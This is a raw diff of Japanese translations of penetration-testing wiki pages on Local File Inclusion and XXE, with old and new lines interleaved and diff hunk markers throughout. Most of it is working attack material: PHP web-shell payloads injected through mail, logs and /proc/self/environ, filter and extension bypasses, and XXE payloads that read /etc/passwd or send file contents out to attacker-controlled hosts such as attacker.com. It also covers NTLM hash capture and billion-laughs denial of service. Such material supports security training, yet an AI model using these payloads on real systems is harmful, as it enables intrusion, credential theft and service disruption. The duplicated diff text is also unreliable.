**内部アカウントにメールを送信** (user@localhost) し、`<?php echo system($_REQUEST["cmd"]); ?>` のようなPHPペイロードを含め、**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のようなパスでユーザーのメールに含めることを試みます
**内部アカウントにメールを送信** (user@localhost) し、`<?php echo system($_REQUEST["cmd"]); ?>` のようなPHPペイロードを含め、**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のようなパスでユーザーのメールに含めてみてください
### /proc/\*/fd/\* 経由
### Via /proc/\*/fd/\*
1. 多くのシェルをアップロードします (例えば: 100)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を含めます。ここで$PID はプロセスのPID (ブルートフォース可能) で、$FD はファイルディスクリプタ (こちらもブルートフォース可能) です。
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を含めます。ここで $PID はプロセスのPID (ブルートフォース可能) で、$FD はファイルディスクリプタ (こちらもブルートフォース可能) です。
### /proc/self/environ 経由
### Via /proc/self/environ
ログファイルのように、User-Agentにペイロードを送信します。これにより、/proc/self/environファイル内に反映されます。
ログファイルのように、User-Agentにペイロードを送信すると、それが/proc/self/environファイル内に反映されます。
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
@ -496,7 +542,7 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
PHPセッションファイルを含めるためにLFIを使用します。
LFIを使用してPHPセッションファイルを含める
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
@ -513,7 +559,7 @@ FTPサーバーvsftpdのログは_**/var/log/vsftpd.log**_にあります。Loca
### Via php base64 filter (using base64)
[の](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHP base64フィルターは非base64を無視します。これを使用してファイル拡張子のチェックをバイパスできます:もし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です
[ちら](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)の記事に示されているように、PHPのbase64フィルターは非base64を無視します。これを利用してファイル拡張子のチェックをバイパスできます:もし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -529,7 +575,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**ファイルをアップロード**し、それが`/tmp`に**一時的**保存されるようにします。その後、**同じリクエストで、** **セグメンテーションフォルト**を引き起こすと、**一時ファイル削除されず**、それを検索できます。
**ファイルをアップロード**し、それが`/tmp`に**一時的**保存されるようにします。その後、**同じリクエストで、** **セグメンテーションフォルト**を引き起こすと、**一時ファイル削除されず**、それを検索できます。
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -537,7 +583,7 @@ lfi2rce-via-segmentation-fault.md
### Via Nginx temp file storage
**Local File Inclusion**を見つけ、**Nginx**がPHPの前で実行されている場合、次の技術を使用してRCEを取得できるかもしれません
**ローカルファイルインクルージョン**を見つけ、**Nginx**がPHPの前で実行されている場合、次の技術を使用してRCEを取得できるかもしれません
{{#ref}}
lfi2rce-via-nginx-temp-files.md
@ -545,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
**Local File Inclusion**を見つけた場合、たとえ**セッションがなく**`session.auto_start``Off`であっても、**`PHP_SESSION_UPLOAD_PROGRESS`**を**multipart POST**データに提供すると、PHPは**セッションを有効にします**。これを悪用してRCEを取得できます
**ローカルファイルインクルージョン**を見つけた場合、**セッションがない**場合でも`session.auto_start``Off`であっても、**`PHP_SESSION_UPLOAD_PROGRESS`**を**multipart POST**データに提供すると、PHPは**セッションを有効にします**。これを悪用してRCEを取得できます
{{#ref}}
via-php_session_upload_progress.md
@ -553,7 +599,7 @@ via-php_session_upload_progress.md
### Via temp file uploads in Windows
**Local File Inclusion**を見つけ、サーバーが**Windows**で実行されている場合、RCEを取得できるかもしれません
**ローカルファイルインクルージョン**を見つけ、サーバーが**Windows**で実行されている場合、RCEを取得できるかもしれません
{{#ref}}
lfi2rce-via-temp-file-uploads.md
@ -561,7 +607,7 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、php dockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合、それを引数として使用する必要があると示されています。
[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、phpdockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合、それを引数として使用する必要があると示されています。
次のリクエストは、`/tmp/hello.php``<?=phpinfo()?>`という内容のファイルを作成します:
```bash
@ -576,7 +622,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### phpinfo()を介して (file_uploads = on)
**Local File Inclusion**と**file_uploads = on**の**phpinfo()**を公開しているファイルが見つかった場合、RCEを取得できます
**Local File Inclusion**を発見し、file_uploads = onの**phpinfo()**を公開しているファイルがある場合、RCEを取得できます
{{#ref}}
lfi2rce-via-phpinfo.md
@ -584,7 +630,7 @@ lfi2rce-via-phpinfo.md
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + パス開示を介して
**Local File Inclusion**が見つかり、**一時ファイルのパスを外部に流出させることができるが、**サーバーが**含めるファイルにPHPマークがあるかどうかを**チェックしている**場合、この**レースコンディション**を使って**そのチェックをバイパス**しようとすることができます:
**Local File Inclusion**を発見し、**一時ファイルのパスを外部に流出させることができるが、**サーバーが**含めるファイルにPHPマークがあるかどうかを**チェックしている**場合、この**レースコンディション**を使って**そのチェックをバイパス**しようとすることができます:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@ -600,10 +646,10 @@ lfi2rce-via-eternal-waiting.md
### 致命的エラーに至る
`/usr/bin/phar``/usr/bin/phar7``/usr/bin/phar.phar7``/usr/bin/phar.phar`のいずれかのファイルを含めると、エラーが発生します。同じファイルを2回含める必要があります
`/usr/bin/phar``/usr/bin/phar7``/usr/bin/phar.phar7``/usr/bin/phar.phar`のいずれかのファイルを含めると、致命的エラーが発生します。(そのエラーを引き起こすには、同じファイルを2回含める必要があります
**これがどのように役立つのかはわかりませんが、役立つかもしれません。**\
_たとえPHP致命的エラーを引き起こしても、アップロードされたPHPの一時ファイルは削除されます。_
_たとえPHP致命的エラーを引き起こしても、アップロードされたPHPの一時ファイルは削除されます。_
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
@ -611,6 +657,8 @@ _たとえPHP致命的エラーを引き起こしても、アップロードさ
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai サポートチケットからゼロデイへ (FreeFlow Coreパストラバーサル → 任意の書き込み → ウェブシェル)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -4,19 +4,19 @@
## XMLの基本
XMLはデータの保存と輸送のために設計されたマークアップ言語で、説明的に名前付けされたタグを使用する柔軟な構造を特徴としています。HTMLとは異なり、あらかじめ定義されたタグのセットに制限されていません。JSONの台頭に伴い、XMLの重要性は低下していますが、当初はAJAX技術において重要な役割を果たしていました。
XMLはデータの保存と輸送のために設計されたマークアップ言語で、記述的に名前付けされたタグを使用する柔軟な構造を特徴としています。HTMLとは異なり、あらかじめ定義されたタグのセットに制限されていません。JSONの台頭に伴い、XMLの重要性は低下していますが、当初はAJAX技術において重要な役割を果たしていました。
- **エンティティによるデータ表現**: XMLのエンティティは、`&lt;``&gt;`のような特殊文字を含むデータの表現を可能にし、これらはXMLのタグシステムとの衝突を避けるために`<``>`に対応します。
- **XML要素の定義**: XMLは要素の型を定義することを可し、要素がどのように構造化されるべきか、どのような内容を含むことができるかを概説します。内容の種類は任意のタイプから特定の子要素までさまざまです。
- **文書型定義 (DTD)**: DTDはXMLにおいて文書の構造と含むことができるデータの型を定義するために重要です。内部、外部、またはその組み合わせとして存在し、文書のフォーマットと検証方法をガイドします。
- **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML外部エンティティ (XXE) 攻撃の文脈においてセキュリティ上の懸念を引き起こします。これは、XMLパーサーが外部データソースを処理する方法を悪用します: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **パラメータエンティティによるXXE検出**: 特に従来の方法がパーサーのセキュリティ対策により失敗する場合、XXE脆弱性を検出するためにXMLパラメータエンティティを利用できます。これらのエンティティは、DNSルックアップや制御されたドメインへのHTTPリクエストをトリガーするなどのアウトオブバンド検出技術を可能にし、脆弱性を確認します。
- **エンティティによるデータ表現**: XMLのエンティティは、`&lt;``&gt;`のような特殊文字を含むデータの表現を可能にし、これらはXMLのタグシステムとの衝突を避けるために`<``>`に対応します。
- **XML要素の定義**: XMLは要素の型を定義することを可能にし、要素がどのように構造化され、どのような内容を含むことができるかを概説します。内容の種類から特定の子要素まで幅広く対応しています。
- **文書型定義DTD**: DTDはXMLにおいて文書の構造と含むことができるデータの型を定義するために重要です。内部、外部、またはその組み合わせとして存在し、文書のフォーマットと検証方法をガイドします。
- **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML外部エンティティXXE攻撃の文脈においてセキュリティ上の懸念を引き起こします。これは、XMLパーサーが外部データソースを処理する方法を悪用します: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **パラメータエンティティによるXXE検出**: 特に従来の方法がパーサーのセキュリティ対策により失敗する場合、XMLパラメータエンティティを利用してXXE脆弱性を検出できます。これらのエンティティは、DNSルックアップや制御されたドメインへのHTTPリクエストをトリガーするなどのアウトオブバンド検出技術を可能にし、脆弱性を確認します。
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## 主な攻撃
[**これらの攻撃のほとんどは、素晴らしいPortswiggerXEEラボを使用してテストされました: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
[**これらの攻撃のほとんどは、素晴らしいPortswiggers XEEラボを使用してテストされました: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### 新しいエンティティテスト
@ -43,7 +43,7 @@ XMLはデータの保存と輸送のために設計されたマークアップ
```
![](<../images/image (86).png>)
この2番目のケースは、ウェブサーバーがPHPを使用している場合にファイルを抽出するのに役立ちますPortswiggerのラボではない場合)。
この2番目のケースは、ウェブサーバーがPHPを使用している場合にファイルを抽出するのに役立ちますPortswiggerのラボではない
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -68,7 +68,7 @@ XMLはデータの保存と輸送のために設計されたマークアップ
**Java** ベースのアプリケーションでは、XXEを使用してペイロードのようにファイルではなくディレクトリを要求することで**ディレクトリの内容をリストする**ことが可能な場合があります:
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
@ -89,11 +89,11 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### "Blind" SSRF - データをアウトオブバンドで抽出する
### "Blind" SSRF - データをアウトオブバンドでエクスフィルトレートする
**この場合、サーバーに悪意のあるペイロードを含む新しいDTDを読み込ませ、ファイルの内容をHTTPリクエストを介して送信させます(複数行のファイルの場合、例えばこの基本サーバーを使用して\_ftp://**\_経由で抽出を試みることができます[**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。この説明は** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**に基づいています。**
**この場合、サーバーに悪意のあるペイロードを持つ新しいDTDを読み込ませ、ファイルの内容をHTTPリクエスト経由で送信させます(複数行のファイルの場合、例えばこの基本サーバーを使用して\_ftp://**\_経由でエクスフィルトレートを試みることができます[**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。この説明は**[**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**に基づいています。**
与えられた悪意のあるDTDでは、データを抽出するために一連の手順が実行されます:
与えられた悪意のあるDTDでは、データをエクスフィルトレートするために一連の手順が実行されます:
### 悪意のあるDTDの例
@ -121,18 +121,18 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
このペイロードは、XMLパラメータエンティティ `%xxe` を定義し、DTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。パーサーはその後、DTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname` ファイルを攻撃者のサーバーに流出させます。
このペイロードは、XMLパラメータエンティティ `%xxe` を定義し、それをDTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。パーサーはその後、DTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname` ファイルを攻撃者のサーバーに流出させます。
### エラーベース外部DTD
**この場合、サーバーが悪意のあるDTDを読み込むようにし、エラーメッセージ内にファイルの内容を表示させます(これはエラーメッセージが見える場合にのみ有効です)。** [**ここからの例。**](https://portswigger.net/web-security/xxe/blind)
**この場合、サーバーがファイルの内容をエラーメッセージ内に表示する悪意のあるDTDを読み込むようにしますこれはエラーメッセージが見える場合にのみ有効です。** [**ここからの例。**](https://portswigger.net/web-security/xxe/blind)
悪意のある外部文書型定義DTDを使用して、`/etc/passwd` ファイルの内容を明らかにするXML解析エラーメッセージをトリガーできます。これは以下の手順で実現されます
1. `file` という名前のXMLパラメータエンティティが定義され、`/etc/passwd` ファイルの内容が含まれます。
2. `eval` という名前のXMLパラメータエンティティが定義され、別のXMLパラメータエンティティ `error` の動的宣言を組み込みます。この `error` エンティティは評価されると、存在しないファイルを読み込もうとし、その名前として `file` エンティティの内容を組み込みます。
3. `eval` エンティティが呼び出され、`error` エンティティの動的宣言が行われます。
4. `error` エンティティの呼び出しは、存在しないファイルを読み込もうとし、`/etc/passwd` ファイルの内容をファイル名の一部として含むエラーメッセージを生成します。
4. `error` エンティティの呼び出しは、存在しないファイルを読み込もうとし、ファイル名の一部として `/etc/passwd` ファイルの内容を含むエラーメッセージを生成します。
悪意のある外部DTDは、以下のXMLで呼び出すことができます
```xml
@ -144,15 +144,15 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
![](<../images/image (809).png>)
_**外部DTDは、2番目の`eval`内に1つのエンティティを含めることを許可しますが、内部DTDでは禁止されています。したがって、外部DTDを使用せずにエラーを強制することはできません通常。**_
_**外部DTDを使用すると、2番目の`eval`内に1つのエンティティを含めることができますが、内部DTDでは禁止されています。したがって、外部DTDを使用せずにエラーを強制することはできません通常。**_
### **エラーに基づくシステムDTD**
では、**アウトオブバンドの相互作用がブロックされている**場合の盲目的なXXE脆弱性はどうでしょうか外部接続が利用できない
XML言語仕様の抜け穴は、**文書のDTDが内部および外部の宣言を混合する際にエラーメッセージを通じて機密データを露出させることができます**。この問題により、外部で宣言されたエンティティの内部再定義が可能になり、エラーに基づくXXE攻撃の実行が促進されます。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティの再定義を利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存し、機密情報を明らかにするために解析エラーを誘発することを目指します。
XML言語仕様の抜け穴は、**文書のDTDが内部および外部の宣言を混合する際にエラーメッセージを通じて機密データを露出させる**ことができます。この問題により、外部で宣言されたエンティティの内部再定義が可能になり、エラーに基づくXXE攻撃の実行が容易になります。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティの再定義を利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存し、機密情報を明らかにするために解析エラーを誘発することを目指します。
サーバーのファイルシステムに`/usr/local/app/schema.dtd`にDTDファイルが含まれており、`custom_entity`というエンティティを定義しているシナリオを考えてみましょう。攻撃者は、次のようにハイブリッドDTDを提出することで、`/etc/passwd`ファイルの内容を明らかにするXML解析エラーを誘発できます。
サーバーのファイルシステムに`/usr/local/app/schema.dtd`にDTDファイルが含まれており、`custom_entity`というエンティティが定義されているシナリオを考えてみましょう。攻撃者は、次のようにハイブリッドDTDを提出することで、`/etc/passwd`ファイルの内容を明らかにするXML解析エラーを誘発できます。
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -167,7 +167,7 @@ XML言語仕様の抜け穴は、**文書のDTDが内部および外部の宣言
```
このDTDによって実行される手順は以下の通りです
- `local_dtd`というXMLパラメータエンティティの定義には、サーバーのファイルシステム上にある外部DTDファイルが含まれています。
- `local_dtd`という名前のXMLパラメータエンティティの定義には、サーバーのファイルシステム上にある外部DTDファイルが含まれています。
- 外部DTDで元々定義されていた`custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーに基づくXXEエクスプロイト](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化します。この再定義は、パースエラーを引き起こし、`/etc/passwd`ファイルの内容を露出させることを目的としています。
- `local_dtd`エンティティを使用することで、外部DTDが呼び出され、新たに定義された`custom_entity`が含まれます。この一連のアクションにより、エクスプロイトが狙うエラーメッセージが発生します。
@ -188,7 +188,7 @@ XML言語仕様の抜け穴は、**文書のDTDが内部および外部の宣言
```
![](<../images/image (625).png>)
この技術は**内部DTDを使用するため、まず有効なものを見つける必要があります**。これを行うには、サーバーが使用しているのと同じ**OS / ソフトウェア**を**インストール**し、**いくつかのデフォルトDTDを検索する**か、システム内の**デフォルトDTDのリストを取得**して、どれかが存在するかを**確認**します:
この技術は**内部DTDを使用するため、まず有効なものを見つける必要があります**。サーバーが使用しているのと同じ**OS / ソフトウェア**を**インストール**し、**いくつかのデフォルトDTDを検索する**か、システム内の**デフォルトDTDのリストを取得**して、どれかが存在するかを**確認**することができます:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -205,7 +205,7 @@ For more information check [https://portswigger.net/web-security/xxe/blind](http
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
さらに、**被害者システムのDockerイメージ**を持っている場合は、同じリポジトリのツールを使用して、**イメージ**を**スキャン**し、システム内に存在する**DTDのパス**を**見つける**ことができます。方法を学ぶには、[GitHubのReadme](https://github.com/GoSecure/dtd-finder)をお読みください。
さらに、**被害者システムのDockerイメージ**を持っている場合は、同じリポジトリのツールを使用して、**イメージ**を**スキャン**し、システム内に存在する**DTDのパス**を見つけることができます。方法を学ぶには、[GitHubのReadme](https://github.com/GoSecure/dtd-finder)を読んでください。
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -225,9 +225,9 @@ Testing 0 entities : []
この脆弱性をテストするには、**XXEペイロードを含むMicrosoft Officeファイルを作成する必要があります**。最初のステップは、ドキュメントを解凍できる空のディレクトリを作成することです。
ドキュメントが解凍されたら、`./unzipped/word/document.xml` にあるXMLファイルを開き、好みのテキストエディタ例えばvimで編集します。XMLは、HTTPリクエストで始まることが多い、望ましいXXEペイロードを含むように修正する必要があります。
ドキュメントが解凍されたら、`./unzipped/word/document.xml` にあるXMLファイルを開き、好みのテキストエディタ例えばvimで編集します。XMLは、HTTPリクエストで始まることが多い希望するXXEペイロードを含むように修正する必要があります。
修正されたXML行は、2つのルートXMLオブジェクトの間に挿入する必要があります。リクエスト用にモニタリング可能なURLに置き換えることが重要です。
修正されたXML行は、2つのルートXMLオブジェクトの間に挿入する必要があります。リクエスト用のモニタ可能なURLに置き換えることが重要です。
最後に、ファイルを圧縮して悪意のある poc.docx ファイルを作成できます。以前に作成した「unzipped」ディレクトリから、次のコマンドを実行する必要があります
@ -246,18 +246,18 @@ jar:https://download.host.com/myarchive.zip!/file.txt
PKZIPアーカイブ内のファイルにjarプロトコルを介してアクセスするプロセスは、いくつかのステップを含みます
1. 指定された場所からzipアーカイブをダウンロードするためにHTTPリクエストが行われます。例えば、`https://download.website.com/archive.zip`のような場所です。
2. アーカイブを含むHTTPレスポンスは、通常`/tmp/...`のような場所に一時的にシステムに保存されます。
2. アーカイブを含むHTTPレスポンスがシステムに一時的に保存されます。通常は`/tmp/...`のような場所です。
3. アーカイブが抽出され、その内容にアクセスします。
4. アーカイブ内の特定のファイル`file.zip`が読み取られます。
5. 操作後、このプロセス中に作成された一時ファイルは削除されます。
このプロセスの2番目のステップで中断するための興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために利用できるツールは、[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)にあ、Pythonサーバー`slow_http_server.py`やJavaサーバー`slowserver.jar`)が含まれています。
このプロセスの2番目のステップで中断するための興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために、[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)にあるツールを利用できます。これには、Pythonサーバー`slow_http_server.py`やJavaサーバー`slowserver.jar`)が含まれます。
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
```
> [!CAUTION]
> 一時ディレクトリにファイルを書き込むことは、**パス・トラバーサルに関わる別の脆弱性をエスカレートするのに役立つ**ローカルファイルインクルード、テンプレートインジェクション、XSLT RCE、デシリアライズなど
> 一時ディレクトリにファイルを書き込むことは、**パス・トラバーサルに関わる別の脆弱性をエスカレートするのに役立つ可能性があります**ローカルファイルインクルード、テンプレートインジェクション、XSLT RCE、デシリアライズなど
### XSS
```xml
@ -265,7 +265,7 @@ PKZIPアーカイブ内のファイルにjarプロトコルを介してアクセ
```
### DoS
#### ビリオンラフ攻撃
#### Billion Laugh Attack
```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
@ -288,13 +288,13 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### 二次膨張攻撃
#### 二次爆発攻撃
![](<../images/image (527).png>)
#### NTMLの取得
Windowsホストでは、responder.pyハンドラーを設定することでウェブサーバーユーザーのNTMLハッシュを取得することが可能です:
Windowsホストでは、responder.pyハンドラーを設定することでウェブサーバーユーザーのNTMLハッシュを取得することが可能です:
```bash
Responder.py -I eth0 -v
```
@ -304,15 +304,15 @@ Responder.py -I eth0 -v
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
```
その後、hashcatを使用してハッシュをクラックすることができます。
Then you can try to crack the hash using hashcat
## 隠れたXXEの出現
### XInclude
クライアントデータをサーバー側のXMLドキュメントに統合する際、バックエンドのSOAPリクエストのように、XML構造に対する直接的な制御はしばしば制限され、`DOCTYPE`要素の変更に対する制約のために従来のXXE攻撃が妨げられます。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にすることで解決策を提供します。この方法は、サーバー生成のXMLドキュメント内のデータの一部のみを制御できる場合でも効果的です。
クライアントデータをサーバー側のXMLドキュメントに統合する際、バックエンドのSOAPリクエストのように、XML構造に対する直接的な制御はしばしば制限され、`DOCTYPE`要素の変更に対する制約により従来のXXE攻撃が妨げられます。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にすることで解決策を提供します。この方法は、サーバー生成のXMLドキュメント内のデータの一部のみを制御できる場合でも効果的です。
`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図した外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃がどのように構成されるかの簡潔な例です
`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図する外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃がどのように構成されるかの簡潔な例です:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -338,7 +338,7 @@ SVG形式は、サーバーのソフトウェアのXML処理機能を悪用す
詳細については[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)を確認してください!
**読み込まれたファイルの最初の行または実行結果は、作成された画像の内部に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。**
**読み込まれたファイルの最初の行または実行結果は、作成された画像のに表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。**
### **PDF - ファイルアップロード**
@ -358,7 +358,7 @@ Content-Length: 7
foo=bar
```
次のリクエストを送信できるかもしれませんが、同じ結果になります:
次のリクエストを送信できるかもしれませんが、同じ結果になります
```xml
POST /action HTTP/1.0
Content-Type: text/xml
@ -404,11 +404,11 @@ Content-Type: application/xml;charset=UTF-8
```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```
この方法は、XMLサーバーが `data://` プロトコルを受け入れる場合にのみ機能します。
この操作は、XMLサーバーが `data://` プロトコルを受け入れる場合にのみ機能します。
### UTF-7
ここで \[**"Encode Recipe**" of cyberchef\]を使用できます \(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)を]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29を](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29を)) UTF-7に変換します
ここで \[**"Encode Recipe**" of cyberchef\]を使用できます。
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -422,15 +422,15 @@ Content-Type: application/xml;charset=UTF-8
```
### File:/ プロトコルバイパス
